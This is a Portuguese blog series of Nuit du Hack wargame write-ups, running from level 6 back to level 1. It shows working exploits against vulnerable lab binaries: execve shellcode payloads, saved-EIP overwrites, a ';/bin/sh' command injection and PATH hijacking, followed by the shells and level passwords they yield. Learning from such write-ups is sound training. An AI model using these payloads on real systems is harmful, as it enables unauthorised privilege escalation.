$ export SC=$(perl -e 'print "\x90" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $ /tmp/getenv SC 0xbfffffc2 $ ./level6 $(perl -e 'print "\xc2\xff\xff\xbf" x 32') $ id uid=1006(level6) gid=1006(level6) euid=1007(level7) groups=1007(level7),1006(level6) $ cat /home/level7/passwd qsf076 $
Done!
Nuit du Hack Level5 – Integer Array Overflow
Ola pessoal, mais um nivel do ndh, vamos ao source.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// gcc -o level5 level5.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
void setArray(int frame, int value) {
int array[32];
array[frame] = value;
printf("fill case %d with %d.\n", frame, value);
return;
}
int main(int argc, char **argv) {
if (argc != 3)
printf("syntax: %s [slot] [val]\n", argv[0]);
else
setArray(atoi(argv[1]), atoi(argv[2]));
exit(0);
}
Temos um integer array overflow, podemos controlar o índice do vetor, e assim colocar na posição do eip-salvo, e sobrescrevemos com o que quisermos, vamos tentar no gdb.
(gdb) r 33 $(perl -e 'print 0x11223344') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level5/level5 33 $(perl -e 'print 0x11223344') fill case 33 with 287454020. Program received signal SIGSEGV, Segmentation fault. 0x11223344 in ?? () (gdb)
Sucesso! temos controle do eip, vamos colocar o shellcode numa variável de ambiente e setar o eip para esse endereço.
level5@wargame2k10:~$ export SC=$(perl -e 'print "\x90" x 200 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"')
Vamos ver o seu endereço na memoria.
level5@wargame2k10:~$ cat > /tmp/getenv.c
#include <stdlib.h>
#include <stdio.h>
int
main(int argc, char ** argv)
{
if (argc < 2)
return 1;
printf ("%p\n", (unsigned int *)getenv(argv[1]));
return 0;
}
^C
level5@wargame2k10:~$ gcc -o /tmp/getenv /tmp/getenv.c
level5@wargame2k10:~$ /tmp/getenv SC
0xbffffeaa
level5@wargame2k10:~$
Ok, o shellcode esta em 0xbffffeaa, vamos tentar explorar.
(gdb) r 33 $(perl -e 'print 0xbffffeaa') Starting program: /home/level5/level5 33 $(perl -e 'print 0xbffffeaa') fill case 33 with -1073742165. Program received signal SIGSEGV, Segmentation fault. 0x7fffffff in ?? () (gdb)
Não deu certo, o motivo é o valor máximo de um int, vamos inverter os bits e colocar em negativo
(gdb) r 33 -$(perl -e 'print ~0xbffffeaa') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level5/level5 33 -$(perl -e 'print ~0xbffffeaa') fill case 33 with -1073742165. Executing new program: /bin/dash $
Shell!
vamos executar fora do gdb para termos os privilegios.
level5@wargame2k10:~$ ./level5 33 -$(perl -e 'print ~0xbffffeaa') fill case 33 with -1073742165. $ id uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1006(level6),1005(level5) $ cat /home/level6/passwd (Uhf(d $
Next!
Nuit du Hack Level4 – Stack-based Buffer Overflow
Mais um level do nuit du hack, vamos ler o source.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc -o level4 level4.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
int checkIdent(char *login, char *pwd)
{
char buffer[8] = {'\0'};
int i;
strcpy(buffer, login);
buffer[strlen("guest1")] = '\0';
if(strcmp(buffer, "guest1"))
return 0;
strcpy(buffer, pwd);
buffer[strlen("guest1")] = '\0';
if(strcmp(buffer, "guest1"))
return 0;
return 1;
}
int main(int argc, char *argv[])
{
if(argc != 3) {
printf("%s <login> <pass>\n", argv[0]);
exit(-1);
}
if(checkIdent(argv[1], argv[2])) {
printf("Logged
\n");
exit(1);
}
printf("Oh noes\n");
return 0;
}
Vemos 2 strcpy, parece que são overflows simples, vamos abrir no gdb e tentar um segfault.
(gdb) r $(perl -e 'print "\xaa" x 20') $(perl -e 'print "\xbb" x 20') Starting program: /home/level4/level4 $(perl -e 'print "\xaa" x 20') $(perl -e 'print "\xbb" x 20') Program received signal SIGSEGV, Segmentation fault. 0xaaaaaaaa in ?? () (gdb) r $(perl -e 'print "\xaa" x 16 . "\xcc" x 4') $(perl -e 'print "\xbb" x 20') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level4/level4 $(perl -e 'print "\xaa" x 16 . "\xcc" x 4') $(perl -e 'print "\xbb" x 20') Program received signal SIGSEGV, Segmentation fault. 0xcccccccc in ?? () (gdb)
Legal, controlamos o eip, vamos colocar o shellcode e achar o endereço para pular.
(gdb) r $(perl -e 'print "\xaa" x 16 . "\xcc" x 4 . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20')The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level4/level4 $(perl -e 'print "\xaa" x 16 . "\xcc" x 4 . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20') Program received signal SIGSEGV, Segmentation fault. 0xcccccccc in ?? () (gdb) x/100x $esp 0xbffff4c0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4d0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4e0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4f0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff500: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff510: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff520: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff530: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff540: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff550: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff560: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff570: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff580: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff590: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5a0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5b0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5c0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5d0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5e0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5f0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff600: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff610: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff620: 0x90909090 0x90909090 0x90909090 0x90909090 ---Type <return> to continue, or q <return> to quit---q Quit (gdb)
Podemos ver os nops, vamos colocar o eip para bffff4f0 e ver se temos sucesso.
(gdb) r $(perl -e 'print "\xaa" x 16 . "\xf0\xf4\xff\xbf" . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level4/level4 $(perl -e 'print "\xaa" x 16 . "\xf0\xf4\xff\xbf" . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20') Executing new program: /bin/dash $
Yahuu, uma shell! Vamos executar fora do gdb para elevarmos os privilegios.
$ /home/level4/level4 $(perl -e 'print "\xaa" x 16 . "\xf0\xf4\xff\xbf" . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20') $ id uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1005(level5),1004(level4) $ cat /home/level5/passwd fdk45! $
Problem solved
Nuit du Hack Level3 – Crackme
Estou aqui com mais um level do ndh wargame.
Bem, esse não temos source, é um crackme, vamos executa-lo para ver seu output.
$ ./crackme Usage: ./crackme <key>
De cara dei um strings no binário.
$ strings crackme /lib/ld-linux.so.2 *W)S __gmon_start__ libc.so.6 _IO_stdin_used exit srand puts printf strlen setresuid system geteuid strcmp __libc_start_main GLIBC_2.0 PTRhp [^_] Usage: %s <key> The key must have a size of 20 bytes like: XXXXXXXXXXXXXXXXXXXX You entered: %s Ciphered: %s We want: %s 2:8vytm&*9|)].l(ol;a Good Job! sleep 1; cat /home/level4/passwd; It's incorrect n00b! $
Hmm…podemos ver as funções utilizadas, e abaixo as strings usadas, e tem uma bem suspeita para ser uma senha, vamos tenta-la.
$ ./crackme '2:8vytm&*9|)].l(ol;a' You entered: 2:8vytm&*9|)].l(ol;a Ciphered: [OU>are\C^tRuE]?357| We want: 2:8vytm&*9|)].l(ol;a It's incorrect n00b! $
Ah fail xD, bem, ele cifra o imput para obter o resultado, mas eu li, e achei suspeito, parece que esta escrito ‘you are a true leet?’, bem, seguindo o padrão, tentei essa senha.
$ ./crackme 'YOU>are\a^tRuE]1337?' You entered: YOU>are\a^tRuE]1337? Ciphered: 2:8vytm&*9|)].n(ol;& We want: 2:8vytm&*9|)].l(ol;a It's incorrect n00b! $
w00w00! muito perto, faltou apenas 2 caracteres, o ‘]’ virou ‘n’, e deveria ser um ‘l’, o ‘?’ virou um ‘&’ e deveria ser um ‘a’, bem com um brute force de 2 loopings podemos resolver
, mas olhando a tabela ascii podemos ver que do ‘]’ para o ‘n’, há a diferença de 17, bem, a mesma relação com o caractere ‘a’ e temos ‘[', ok, fazendo o mesmo com o ultimo char, temos o caractere 'z', vamos testar.
$ ./crackme 'YOU>are\a^tRuE[1337z' You entered: YOU>are\a^tRuE[1337z Ciphered: 2:8vytm&*9|)].l(ol;a We want: 2:8vytm&*9|)].l(ol;a Good Job! lsqfd4 $
Até a próxima
Nuit du Hack Level2 – Relative PATH / Command Injection
E ai pessoal, estou aqui para mostrar a solução do level2 do ndh wargame
Vamo começar lendo o código fonte.
level2@wargame2k10:~$ cat level2.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char *buffer = malloc(sizeof(char)*(strlen("man ")+strlen(argv[1])+1));
if(argc<2 || strlen(argv[1])>50) {
printf("Manpage <argument>\n");
exit(0);
}
strcpy(buffer, "man ");
strcat(buffer, argv[1]);
system(buffer);
return 0;
}
level2@wargame2k10:~$
Hmm, mau uso da função system, neste caso são 2 problemas, uma é que ele utiliza o path relativo, ou seja se baseia na variável PATH para encontrar o executável, mas outra exploração possível é injetar um ‘;/bin/sh’ e assim executar a shell, demonstrarei as 2 técnicas.
Primeiro a falha do path relativo, vamos ver o conteúdo da variavel PATH.
level2@wargame2k10:~$ echo $PATH /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games level2@wargame2k10:~$
Certo, vamos criar o nosso ‘man’ falso.
level2@wargame2k10:~$ cat > /tmp/man.c
#include <stdlib.h>
int
main()
{
system("/bin/sh");
return 0;
}
^C
level2@wargame2k10:~$ gcc -o /tmp/man /tmp/man.c
Vamos alterar a variavel PATH para /tmp.
level2@wargame2k10:~$ PATH=/tmp
Vamos executar o binário vulnerável para pegarmos a shell.
level2@wargame2k10:~$ ./level2 -p $
Antes de executar qualquer comando vamos restaurar a variável PATH.
$ PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Vamos verificar se conseguimos os privilégios
$ id uid=1002(level2) gid=1002(level2) euid=1003(level3) groupes=1003(level3),1002(level2) $ cat /home/level3/passwd dsglhn $
Funciona
Mas essa é uma técnica trabalhosa, vamos a segunda
level2@wargame2k10:~$ ./level2 ';/bin/sh' Quelle page de manuel voulez-vous ? $ id uid=1002(level2) gid=1002(level2) euid=1003(level3) groupes=1003(level3),1002(level2) $ cat /home/level3/passwd dsglhn $
Resolvido
Nuit du Hack Level1 – Stack-based Buffer Overflow
Ola pessoal, estava googlando e econtrei esse wargame, nuit du hack ou ndh, achei bem divertido
não deixem de conferir.
O level01 é bem simples,vamos ver o código.
$ cat level1.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void dummy()
{
setresuid(geteuid(),geteuid(),geteuid());
system("sleep 1; cat /home/level2/passwd;");
exit(0);
}
int *p;
void func(char *arg)
{
char buf[16];
p = (int *)&buf[sizeof(buf)];
printf("dummy() is at: 0x%08x\n", dummy);
printf("before: SEBP=%p\n\t SEIP=0x%08x\n", *p, *(p+1));
strcpy(buf, arg);
printf("after: SEBP=%p\n\t SEIP=0x%08x\n", *p, *(p+1));
}
int main(int argc, char *argv[])
{
if(!argv[1]) {
printf("No command found...\n");
return;
}
func(argv[1]);
}
Hmm, temos um stack-based buffer overflow, e vemos a função dummy(), que lê o passwd do próximo level.
Para passarmos de level vamos sobrescrever o eip para apontar para dummy() e assim termos a senha, mas primeiro vamos tentar sobrescrever o eip.
$ gdb level1 -q (gdb) r $(perl -e 'print "\xaa" x 32') Starting program: /home/level1/level1 $(perl -e 'print "\xaa" x 32') dummy() is at: 0x08048504 before: SEBP=0xbffffcb8 SEIP=0x080485fd after: SEBP=0xaaaaaaaa SEIP=0xaaaaaaaa Program received signal SIGSEGV, Segmentation fault. 0xaaaaaaaa in ?? ()
Sucesso, podemos ver que temos controle do eip, após algumas tentativas, achei a quantidade exata de bytes.
(gdb) r $(perl -e 'print "\xaa" x 20 . "\xbb" x 4') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level1/level1 $(perl -e 'print "\xaa" x 20 . "\xbb" x 4') dummy() is at: 0x08048504 before: SEBP=0xbffffcb8 SEIP=0x080485fd after: SEBP=0xaaaaaaaa SEIP=0xbbbbbbbb Program received signal SIGSEGV, Segmentation fault. 0xbbbbbbbb in ?? () (gdb)
Yahuu, agora é só colocar o endereço de dummy()
$ ./level1 $(perl -e 'print "\xaa" x 20 . "\x04\x85\x04\x08"') dummy() is at: 0x08048504 before: SEBP=0xbffffcf8 SEIP=0x080485fd after: SEBP=0xaaaaaaaa SEIP=0x08048504 kjdsfh $
Sucesso! podemos ver a senha para o level02